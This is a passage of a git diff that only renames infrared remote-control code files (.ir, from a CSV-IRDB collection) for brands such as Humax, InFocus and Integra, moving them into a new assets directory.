--git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir similarity index 100% rename from 